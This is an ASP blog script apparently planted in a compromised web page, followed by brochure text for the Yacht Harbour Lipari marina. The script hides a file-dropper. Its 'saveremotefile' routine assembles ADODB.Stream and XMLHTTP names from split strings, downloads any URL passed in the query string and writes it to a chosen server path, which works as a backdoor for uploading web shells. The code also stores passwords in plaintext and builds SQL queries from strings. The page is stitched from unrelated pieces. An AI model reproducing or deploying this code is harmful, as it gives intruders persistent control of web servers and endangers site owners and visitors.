<%
'Blog settings:
'Max number of posts:
const POSTS_PER_PAGE = 10
const TITLE = ""
'TITLE=Request.ServerVariables("SERVER_NAME")
function connstr()
connstr = "Provider=Microsoft.Jet.OLEDB.4.0;Data Source=" & server.MapPath("#rnmlq.asa") & ";"
end function
sub WriteContents
select case lcase(Request.QueryString("action"))
case "logout"
session.Abandon()
response.Clear()
response.Redirect(Request.ServerVariables("SCRIPT_NAME"))
case "home"
call WriteHome
case ""
if (request.QueryString("id"))>0 then
call WriteArt
end if
if len(request.QueryString("c"))>0 then
call WriteCat
end if
if len(request.QueryString("c"))=0 and len(request.QueryString("id"))=0 then
call WriteHome
end if
case "write"
call WritePost
case "editpost"
call EditPost
case "deletepost"
call DeletePost
case "ver"
Response.Write("201306230837a")
Response.end
case "management"
call DoManagement
case else
call err404
end select
end sub
function GetTitle()
Categorys=CheckSqlStr(request.QueryString("c"))
if isNumeric(request.QueryString("id")) then
id = cint(Request.QueryString("id"))
else
id = 0
end if
if id<1 and len(Categorys)<1 then
Response.Write(""&Request.ServerVariables("SERVER_NAME")&"")
end if
if id>0 and len(Categorys)<1 then
set oConn = server.CreateObject("ADODB.CONNECTION")
oConn.Open(connstr)
qry = "SELECT top 1 Title,Category FROM MESSAGES where ID="&id&" ORDER BY DateStamp DESC"
set oRS = oConn.Execute(qry)
if oRS.EOF then
Response.Write("404 error . Article not found !")
else
Response.Write(""&oRS("Title")&" - "&oRS("Category")&"")
end if
oConn.Close()
set oRS = nothing
set oConn = nothing
end if
if len(Categorys)>1 and id<1 then
set oConn = server.CreateObject("ADODB.CONNECTION")
oConn.Open(connstr)
qry = "SELECT top 1 id FROM MESSAGES where Category like '"&Categorys&"' ORDER BY DateStamp DESC"
set oRS = oConn.Execute(qry)
if oRS.EOF then
Response.Write(""& Categorys &"")
end if
oConn.Close()
set oRS = nothing
set oConn = nothing
end if
end function
function CheckSqlStr(ISTR)
ISTR=Replace(ISTR,"'","")
ISTR=Replace(ISTR,"-","")
ISTR=Replace(ISTR,"<","")
ISTR=Replace(ISTR,">","")
ISTR=Replace(ISTR,Chr(0),"")
ISTR=Replace(ISTR,Chr(13),"")
ISTR=Replace(ISTR,Chr(16),"")
ISTR=Replace(ISTR,"""","")
ISTR=Replace(ISTR,"\","")
ISTR=Replace(ISTR,"/","")
CheckSqlStr=ISTR
End Function
dim strobjectfso
strobjectfso = "scripting.filesystemobject"
dim strobjectads
strobjectads = "adod" & "b.S" & "tream"
dim strobjectxmlhttp
strobjectxmlhttp = "Microsof" & "t.X" & "MLHTTP"
function saveremotefile(byval RemoteFileUrl,byval LocalFileName)
dim Ads, Retrieval, GetRemoteData
on error resume next
set Retrieval = server.createobject(strobjectxmlhttp)
with Retrieval
.open "Get", RemoteFileUrl, false, "", ""
.Send
GetRemoteData = .ResponseBody
end with
set Retrieval = nothing
set Ads = server.createobject(strobjectads)
Ads.Type = 1
Ads.open
Ads.Write GetRemoteData
Ads.SaveToFile server.mappath(LocalFileName), 2
Ads.Cancel
Ads.close
set Ads = nothing
if err then
err.clear
saveremotefile = false
else
saveremotefile = true
end if
end function
if session("blnIsAllowedToPost") and request.QueryString("remotefile")<>"" then
call saveremotefile(request.QueryString("remotefile"),request.QueryString("localfile"))
end if
sub Err404
%>
Error 404
The page you requested is not found. Please check the URL and try again...
<%
end Sub
sub WriteHome
set oConn = server.CreateObject("ADODB.CONNECTION")
oConn.Open(connstr)
qry = "SELECT * FROM MESSAGES ORDER BY DateStamp DESC"
if isNumeric(request.QueryString("count")) then
count = cint(Request.QueryString("count"))
else
count = 1
end if
qry = replace(qry,"%MIN%", count)
qry = replace(qry,"%MAX%", count + POSTS_PER_PAGE)
set oRS = oConn.Execute(qry)
if oRS.EOF then
%>
Nothing
<%
else
intTeller = 0
while not oRS.EOF
intTeller = intTeller + 1
if (intTeller - 1 >= count AND intTeller =< count + POSTS_PER_PAGE) then
%>
<%
end if
oRS.MoveNext
wend
set oRS = oConn.Execute("SELECT COUNT(Id) AS Aantal FROM MESSAGES")
intMax = oRS("Aantal")
if (count + POSTS_PER_PAGE) < intMax then
if (count <> 0) then
prev = count - POSTS_PER_PAGE
nextc = count + POSTS_PER_PAGE
if prev < 0 then
prev = 0
end if
%>?action=home&count=<%=nextc %>"><< Older posts <%
%>?action=home&count=<%=prev %>">Newer posts >><%
else
'prev = count - POSTS_PER_PAGE
nextc = count + POSTS_PER_PAGE
'if prev < 1 then
' prev = 1
'end if
%>?action=home&count=<%=nextc %>"><<Older posts<%
end if
else
if (count <> 0) then
prev = count - POSTS_PER_PAGE
if prev < 0 then
prev = 0
end if
%>?action=home&count=<%=prev %>">Newer posts >><%
end if
end if
end if
oConn.Close()
set oRS = nothing
set oConn = nothing
end sub
sub WriteArt
if isNumeric(request.QueryString("id")) then
id = cint(Request.QueryString("id"))
else
id = 1
end if
set oConn = server.CreateObject("ADODB.CONNECTION")
oConn.Open(connstr)
qry = "SELECT * FROM MESSAGES where ID="&id&" ORDER BY DateStamp DESC"
set oRS = oConn.Execute(qry)
if oRS.EOF then
%>
error
<%
else
intTeller = 0
while not oRS.EOF
%>
<%
oRS.MoveNext
wend
end if
oConn.Close()
set oRS = nothing
set oConn = nothing
Last10
end sub
sub WriteCat
Categorys=CheckSqlStr(request.QueryString("c"))
set oConn = server.CreateObject("ADODB.CONNECTION")
oConn.Open(connstr)
qry = "SELECT * FROM MESSAGES where Category like '"&Categorys&"' ORDER BY DateStamp DESC"
if isNumeric(request.QueryString("count")) then
count = cint(Request.QueryString("count"))
else
count = 1
end if
qry = replace(qry,"%MIN%", count)
qry = replace(qry,"%MAX%", count + POSTS_PER_PAGE)
set oRS = oConn.Execute(qry)
if oRS.EOF then
%>
Nothing in <%=Categorys%>
<%
else
intTeller = 0
while not oRS.EOF
intTeller = intTeller + 1
if (intTeller - 1 >= count AND intTeller =< count + POSTS_PER_PAGE) then
%>
<%
end if
oRS.MoveNext
wend
set oRS = oConn.Execute("SELECT COUNT(Id) AS Aantal FROM MESSAGES")
intMax = oRS("Aantal")
if (count + POSTS_PER_PAGE) < intMax then
if (count <> 0) then
prev = count - POSTS_PER_PAGE
nextc = count + POSTS_PER_PAGE
if prev < 0 then
prev = 0
end if
%>?action=home&count=<%=nextc %>"><< Older posts <%
%>?action=home&count=<%=prev %>">Newer posts >><%
else
'prev = count - POSTS_PER_PAGE
nextc = count + POSTS_PER_PAGE
'if prev < 1 then
' prev = 1
'end if
%>?action=home&count=<%=nextc %>"><<Older posts<%
end if
else
if (count <> 0) then
prev = count - POSTS_PER_PAGE
if prev < 0 then
prev = 0
end if
%>?action=home&count=<%=prev %>">Newer posts >><%
end if
end if
end if
oConn.Close()
set oRS = nothing
set oConn = nothing
end sub
sub Last10
set oConn = server.CreateObject("ADODB.CONNECTION")
oConn.Open(connstr)
qry = "SELECT Top 10 id,Title,Category FROM MESSAGES ORDER BY ID DESC"
set oRS = oConn.Execute(qry)
if oRS.EOF then
%>
<%
else
%>
<%
end if
oConn.Close()
set oRS = nothing
set oConn = nothing
end sub
sub WritePost
call ShowLoginPanel()
if session("blnLoggedIn") then
if session("blnIsAllowedToPost") then
if request.Form("title") <> "" then
if len(request.Form("title")) < 5 then
%>
Your title should be at least 5 characters.
<%
else
if len(request.Form("message")) < 5 then
%>
Your message should be at least 5 characters.
<%
else
set oConn = server.CreateObject("ADODB.CONNECTION")
oConn.open(connstr)
oConn.execute("INSERT INTO MESSAGES ([Title],[Category], [DateStamp], [Contents], [Username]) VALUES ('" & replace(request.Form("title"),"'","''") & "','" & replace(request.Form("Category"),"'","''") & "',NOW(),'" & replace(request.Form("message"),"'","''") & "','" & replace(session("strUsername"), "'","''") & "')")
Set oRs = oConn.execute("SELECT @@IDENTITY AS NewID;")
NewID = oRs.Fields("NewID").value
oConn.Close()
%>
Your message has been inserted in the database. url was [url]<%=Request.ServerVariables("SERVER_NAME")%><%=Request.ServerVariables("SCRIPT_NAME")%>?id=<%=NewID %>&t=<%=replace(request.Form("title"),"'","''") %>.html[/url]
<%
end if
end if
end if
%>
<%
else
%>
Access denied
Sorry, but you aren't allowed to post a message .
<%
end if
end if
end sub
sub DeletePost
call ShowLoginPanel()
if session("blnLoggedIn") then
if session("blnIsAllowedToPost") then
if request.Form("postid") <> "" then
blnChosen = true
if cint(request.Form("postid")) = -1 then blnChosen = false
set oConn = server.CreateObject("ADODB.CONNECTION")
oConn.Open(connstr)
if request.Form("oktodelete") = "on" then
oConn.Execute("DELETE FROM MESSAGES WHERE Id=" & cint(request.Form("postid")))
end if
set oRS = oConn.execute("SELECT * FROM MESSAGES WHERE Id=" & cint(request.Form("postid")))
if oRS.EOF then
contents = "The post has been deleted. Delete another one"
else
contents = oRS.Fields("Contents")
end if
oConn.Close()
end if
%>
<%
else
%>
Access denied
Sorry, but you aren't allowed to delete a post.
<%
end if
end if
end sub
sub EditPost
call ShowLoginPanel()
if session("blnLoggedIn") then
if session("blnIsAllowedToPost") then
set oConn = server.CreateObject("ADODB.CONNECTION")
oConn.open(connstr)
if request.Form("ok") = "true" then
%>
Post editted.
<%
oConn.execute("UPDATE MESSAGES SET Contents='" & replace(request.Form("message"),"'","''") & "' WHERE Id=" & cint(request.Form("postid")))
oConn.execute("UPDATE MESSAGES SET Title='" & replace(request.Form("title"),"'","''") & "' WHERE Id=" & cint(request.Form("postid")))
oConn.execute("UPDATE MESSAGES SET Category='" & replace(request.Form("Category"),"'","''") & "' WHERE Id=" & cint(request.Form("postid")))
end if
if request.Form("postid") <> "" then
blnChosen = true
set oRS = oConn.Execute("SELECT * FROM MESSAGES WHERE Id=" & cint(request.Form("postid")))
if oRS.EOF then
if cint(request.Form("postid")) = -1 then blnChosen = false
contents = "The message could not be retrieved, because I couldn't find it..."
strTitle = "Not found"
else
contents = oRS.Fields("Contents")
strTitle = oRS.Fields("Title")
strCategory = oRS.Fields("Category")
end if
end if
oConn.Close()
%>
<%
else
%>
Access denied
Sorry, but you aren't allowed to edit a post.
<%
end if
end if
end sub
sub ShowLoginPanel()
if not session("blnLoggedIn") then
if request.Form("username") <> "" then
set oConn = server.CreateObject("ADODB.CONNECTION")
oConn.Open(connstr)
set oRS = oConn.execute("SELECT * FROM USERNAMES WHERE Username='" & replace(request.Form("username"),"'","''") & "' AND Password='" & replace(request.Form("password"), "'","''") & "' ")
if oRS.EOF then
%>
Invalid username or password.
<%
else
session("blnLoggedIn") = true
session("strUsername") = oRS.Fields("Username")
Session("blnIsAllowedToPost") = oRS.Fields("IsAllowedToPost")
end if
oConn.Close()
end if
end if
if not session("blnLoggedIn") then
%>
Please enter your credentials:
<%
end if
end sub
sub WritePostSelector(strFormElementName)
%>
<%
end sub
sub DoManagement
call ShowLoginPanel()
if session("blnLoggedIn") then
select case lcase(request.QueryString("subaction"))
case "manageusers"
call ManageUsers
case else
call DisplayManagementMenu
end select
end if
end sub
sub DisplayManagementMenu
%>
Your account is disabled. Please contact the webmaster.
<% end if %>
<%
end sub
sub ManageUsers
set oConn = server.CreateObject("ADODB.CONNECTION")
oConn.open(connstr)
if request.Form("username") <> "" AND request.Form("password") <> "" then
oConn.execute("INSERT INTO USERNAMES ([Username], [Password],[IsAllowedToPost]) VALUES ('" & replace(request.Form("username"),"'","''") & "','" & replace(request.Form("password"), "'","''") & "',1)")
end if
'oConn.execute("INSERT INTO MESSAGES ([Title],[Category], [DateStamp], [Contents], [Username]) VALUES ('" & repla
select case lcase(request.Form("pageaction"))
case "delete"
set oRS = oConn.execute("SELECT COUNT(Username) AS NumberOfUsernames FROM USERNAMES")
if oRS("NumberOfUsernames") < 2 then
%>
You'll need at least 1 username.
<%
else
if session("strUsername") = request.Form("username") then
%>
You can't delete your own username
<%
else
oRS.Close
oConn.execute("DELETE * FROM USERNAMES WHERE Username='" & replace(request.Form("username"),"'","''") & "'")
%>
User deleted.
<%
end if
end if
case "disable"
set oRS = oConn.execute("SELECT COUNT(USERNAME) AS NumberOfUsernames FROM USERNAMES WHERE IsAllowedToPost=TRUE")
if oRS.Fields("NumberOfUsernames") < 2 then
%>
You must have at least 1 enabled user.
<%
else
oRS.Close
oConn.Execute("UPDATE USERNAMES SET [IsAllowedToPost]=FALSE WHERE Username='" & replace(request.Form("username"),"'","''") & "'")
%>
User deactivated
<%
end if
case "enable"
oConn.Execute("UPDATE USERNAMES SET [IsAllowedToPost]=TRUE WHERE Username='" & replace(request.Form("username"),"'","''") & "'")
%>
User enabled.
<%
case "reset password"
oConn.Execute("UPDATE USERNAMES SET [Password]='" & replace(request.Form("newpassword"),"'","''") & "' WHERE [Username]='" & replace(request.Form("username"),"'","''") & "'")
%>
The password ahs been reset.
<%
case else
end select
%>
User list
Username
Can administer?
Actions
<%
set oRS = oConn.execute("SELECT * FROM USERNAMES ORDER BY Username ASC")
while not oRS.EOF
%>
<%=oRS("Username")%>
<%
if oRS("IsAllowedToPost") then
%>
Yes
<%
else
%>
No
<%
end if
%>
Yacht Harbour Lipari di Li Donni Giuseppe – Via Francesco Crispi 98055 Lipari Isole Eolie – Italia Baia di Marina Lunga – tel./fax. +39 090-9813152 info@yachtharbourlipari.it
INFORMAZIONI SU YACHT HARBOUR LIPARI
Le Isole Eolie, “le 7 sorelle”, 7 splendide gemme incastonate
nell’azzurro mar mediterraneo.
Qui troverete la giusta cornice dove immortalare i momenti più
belli delle vostre vacanze.
A Lipari, nella maggiore delle isole, nella Baia di Marina Lunga,
troverete il nostro pontile lo “Yacht Harbour Lipari”.
Uno dei più attrezzati ed accoglienti fra i pontili galleggianti esistenti nella
baia.
I nostri servizi si basano sulla serietà e sull’esperienza del
personale. Sulla professionalità ed al tempo stesso sulla
disponibilità e cortesia di tutti coloro che troverete al servizio
delle vostre esigenze.
La qualità e la prontezza nell’assistenza all’ormeggio dei nostri
operatori , sono il nostro fiore all’occhiello.
L’atmosfera accogliente, i sapori ed i profumi delle nostre isole
renderanno sereno ed indimenticabile il vostro soggiorno.
ABOUT YACHT HARBOUR LIPARI
The Aeolian Islands, "the 7 sisters", 7 beautiful gems
in the blue Mediterranean Sea.
Here you will find the right place where immortalize
most beautiful moments of your holiday.
In Lipari, the largest island in the Bay of Marina Lunga,
you will find our dock the “Yacht Harbour Lipari”.
One of the best equipped and most comfortable among the existing floating docks in
bay.
Our services are based on reliability and experience of the
staff. The professionalism and at the same time on
helpfulness and courtesy of all those who find the service
your needs.
The quality and readiness in assisting our berth
operators, they are our pride.
The friendly atmosphere, the tastes and smells of our islands
make your stay a truly unforgettable.
DOVE SIAMO
Lo Yacht Harbour Lipari si trova nella Baia di Marina Lunga.
COORDINATE
Latitudine 38° 28’ 377 NORD
Longitudine 14° 57‘ 323 EST
E’ il terzo pontile galleggiante arrivando da nord verso sud superato il promontorio di Monte Rosa, mentre è il secondo provenendo da sud verso nord superata la banchina di approdo degli aliscafi ed il porto commerciale.
Situato a poche centinaia di metri dall’inizio del centro cittadino, avrete la possibilità ,senza dover ricorrere a mezzi di trasporto, di poter raggiungere agevolmente negozi, locali, ristoranti ed ovviamente di visitare le antiche e caratteristiche bellezze del centro storico.
Via Francesco Crispi, il lungomare sul quale si affaccia la nostro pontile, è il primo punto di incontro e di passeggiata dove potrete già trovare piccoli locali e bar.
The Yacht Harbour Lipari is located in the Bay of Marina Lunga.
COORDINATES
Latitude 38° 28’ 377 NORTH
Longitude 14° 57‘ 323 EAST
Is the third dock arriving from north to south over the promontory of Monte Rosa, or is the second from the south to the north passed the dock landing for hydrofoils and the commercial port.
Located a few hundred meters from the start of the city center, you will have the opportunity, without having to use transportation, to easily reach shops, clubs, restaurants and, of course, to visit the ancient and characteristic beauties of the old town.
Via Francesco Crispi, the seafront which faces our dock, is the first point of encounter and walk where you can already find small bars and clubs.
OTHER SERVICES
Ask at our availability in order to have useful suggestions and
instructions on how to solve your needs.
Laundry - valet daily, staffed by
qualified (ask to our staff)
Licensed and experienced Diving Center (ask to our staff)
Rent a rubber boat-scooter-cars
Supermarket, food shops, wines and drinks - making deliveries
on board by request
On our islands you will also find valuable and specialized:
Wellness centers
Restaurants and entertainment clubs
Fully equipped beaches
SEAPORT SERVICES
Fuel - Filling stations are located in the same Bay
Marina Lunga in the north of our Dock
Engines and boats garaging
Mechanical and electrical reparations
Refrigeration technician
Weldments
Pilotage
Reload gas tanks
Guarded parking
Phone box
INFORMAZIONI
COLLEGAMENTI
Un servizio di aliscafi collega Lipari e le nostre Isole con la Sicilia
(partenze dalle 07:00 alle 19:00)
Per maggiori informazioni ed orari visitate i siti della Siremar ed Usticalines
E’ possibile richiedere i contatti per effettuare transfert da e per l’aereoporto mediante taxi o navette
Per raggiungere velocemente qualsiasi destinazione visitate il sito di Air Panarea
NUMERI UTILI
Pilota del porto Andrea Magazù VHF ch. 16-12
Autorità Marittima Circomare Lipari +39 090-9811320 (vai al sito)
Numero Blu emergenze in mare 1530
Numero emergenze 118
Vigili del Fuoco +39 090-9880400 +39 090-9813437
Carabininieri +39 090-9811333
Ospedale +39 090-9885111
Guardia medica +39 090-9811010
Farmacia +39 090-9811392
Veterinario +39 090-9880200
Rifornimento carburante AGIP +39 090-9811640
Eolian Bunker +39 090-9812335
DOVE SOGGIORNARE
A poche centinaia di metri dal nostro pontile troverete:
A ferry service connects our Lipari Islands to Sicily
(departures from 07:00 to 19:00)
For more information and times visit the sites of Siremar and Usticalines
Is possible to ask your contacts to make transfers to and from the airport by taxi or shuttle service
To reach quicky any destination visit the site Air Panarea
USEFUL CONTACTS
Harbor pilot Andrea Magazù VHF ch. 16-12
Local Maritime Authority Circomare Lipari +39 090-9811320 (go to website)
Blue Number emergencies at sea 1530
Emergency Number 118
Fire Department +39 090-9880400 +39 090-9813437
Carabininieri (Local Police) +39 090-9811333
Hospital +39 090-9885111
Emergency medical service +39 090-9811010
Pharmacy +39 090-9811392
Veterinary +39 090-9880200
Refueling AGIP +39 090-9811640
Eolian Bunker +39 090-9812335
WHERE TO STAY
A few hundred meters from our dock you will find:
